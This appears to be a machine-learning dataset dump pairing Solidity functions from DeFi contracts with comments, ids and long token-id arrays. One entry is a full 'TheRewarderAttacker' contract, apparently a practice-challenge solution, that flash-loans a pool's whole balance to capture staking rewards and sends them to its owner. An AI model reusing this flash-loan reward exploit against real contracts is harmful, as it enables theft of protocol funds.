Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function boostWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(20) { uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxBorrow || availableLiquidity == 0) { boost(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxBorrow); bytes memory paramsData = abi.encode(packExchangeData(_exData), _cAddresses, _gasCost, false, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[1]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CreamFlashBoost", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[1])); } } function getAvailableLiquidity(address _tokenAddr) internal view returns (uint liquidity) { if (_tokenAddr == KYBER_ETH_ADDRESS) { liquidity = AAVE_POOL_CORE.balance; } else { liquidity = ERC20(_tokenAddr).balanceOf(AAVE_POOL_CORE); } } }
Gets DAI from the user's wallet Approves adapter to take the DAI amount Joins DAI into the vat
function daiJoin_join(address apt, address urn, uint256 wad) public { DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); DaiJoinLike(apt).dai().approve(apt, wad); DaiJoinLike(apt).join(urn, wad); }
7,333,323
[ 1, 4625, 348, 7953, 560, 30, 225, 11881, 463, 18194, 628, 326, 729, 1807, 9230, 1716, 685, 3324, 4516, 358, 4862, 326, 463, 18194, 3844, 4214, 87, 463, 18194, 1368, 326, 17359, 2, 0, 0, 0, 0, 0, 0, 0, 0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, 2934, 2414, 77, 7675, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 341, 361, 1769, 203, 203, 203, 3639, 463, 10658, 4572, 8804, 12, 1657, 2934, 2414, 77, 7675, 12908, 537, 12, 1657, 16, 341, 361, 1769, 203, 203, 203, 3639, 463, 10658, 4572, 8804, 12, 1657, 2934, 5701, 12, 321, 16, 341, 361, 1769, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x45A7172801842af0f7b4e5bBfD1F3b00B0856Bbb/sources/StabinolToken.sol
We will mint 350,000 tokens to the deployer to use for the merkle airdrop, team and liquidity
constructor() public { _mint(_msgSender(), 799800e18); }
8,877,946
[ 1, 4625, 348, 7953, 560, 30, 225, 1660, 903, 312, 474, 890, 3361, 16, 3784, 2430, 358, 326, 7286, 264, 358, 999, 364, 326, 30235, 279, 6909, 1764, 16, 5927, 471, 4501, 372, 24237, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 1071, 288, 203, 3639, 389, 81, 474, 24899, 3576, 12021, 9334, 2371, 2733, 17374, 73, 2643, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x41353Ef12FCD2BeE88dBCe07e710FEF6D37Fa282/sources/TwapManager.sol
* @notice Gets the owner of this contract. @return Returns the address of the owner./
function owner () external virtual view returns (address) { return _owner; }
4,005,555
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 11881, 326, 3410, 434, 333, 6835, 18, 632, 2463, 2860, 326, 1758, 434, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3410, 1832, 3903, 5024, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 389, 8443, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; interface Token { function transfer(address to, uint256 amount) external; function balanceOf(address) external returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface Rewarder { function liquidityToken() external returns (Token); function rewardToken() external returns (Token); function deposit(uint256 amountToDeposit) external; function withdraw(uint256 amountToWithdraw) external; } interface Loaner { function flashLoan(uint256 amount) external; } contract TheRewarderAttacker { address immutable owner; Loaner immutable loaner; Rewarder immutable rewarder; Token immutable dvt; Token immutable rt; constructor(address _rewarder, address _loaner) { owner = msg.sender; loaner = Loaner(_loaner); rewarder = Rewarder(_rewarder); dvt = Token(Rewarder(_rewarder).liquidityToken()); rt = Token(Rewarder(_rewarder).rewardToken()); } function attack() external { require(msg.sender == owner); // Borrow max possible amount uint256 loanerBalance = dvt.balanceOf(address(loaner)); console.log("Borrowing %d DVT from loaner", loanerBalance/10**18); loaner.flashLoan(loanerBalance); } function receiveFlashLoan(uint256 amount) public { // Deposit money and get rewards dvt.approve(address(rewarder), amount); rewarder.deposit(amount); rewarder.withdraw(amount); // Transfer rewards rt.transfer(owner, rt.balanceOf(address(this))); // Repay money dvt.transfer(address(loaner), amount); } }
Borrow max possible amount
function attack() external { require(msg.sender == owner); uint256 loanerBalance = dvt.balanceOf(address(loaner)); console.log("Borrowing %d DVT from loaner", loanerBalance/10**18); loaner.flashLoan(loanerBalance); }
14,038,835
[ 1, 4625, 348, 7953, 560, 30, 225, 605, 15318, 943, 3323, 3844, 2, 0, 0, 0, 0, 0,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, 15330, 422, 3410, 1769, 203, 3639, 2254, 5034, 28183, 264, 13937, 273, 302, 11734, 18, 12296, 951, 12, 2867, 12, 383, 304, 264, 10019, 203, 3639, 2983, 18, 1330, 2932, 38, 15318, 310, 738, 72, 463, 58, 56, 628, 28183, 264, 3113, 28183, 264, 13937, 19, 2163, 636, 2643, 1769, 203, 3639, 28183, 264, 18, 13440, 1504, 304, 12, 383, 304, 264, 13937, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 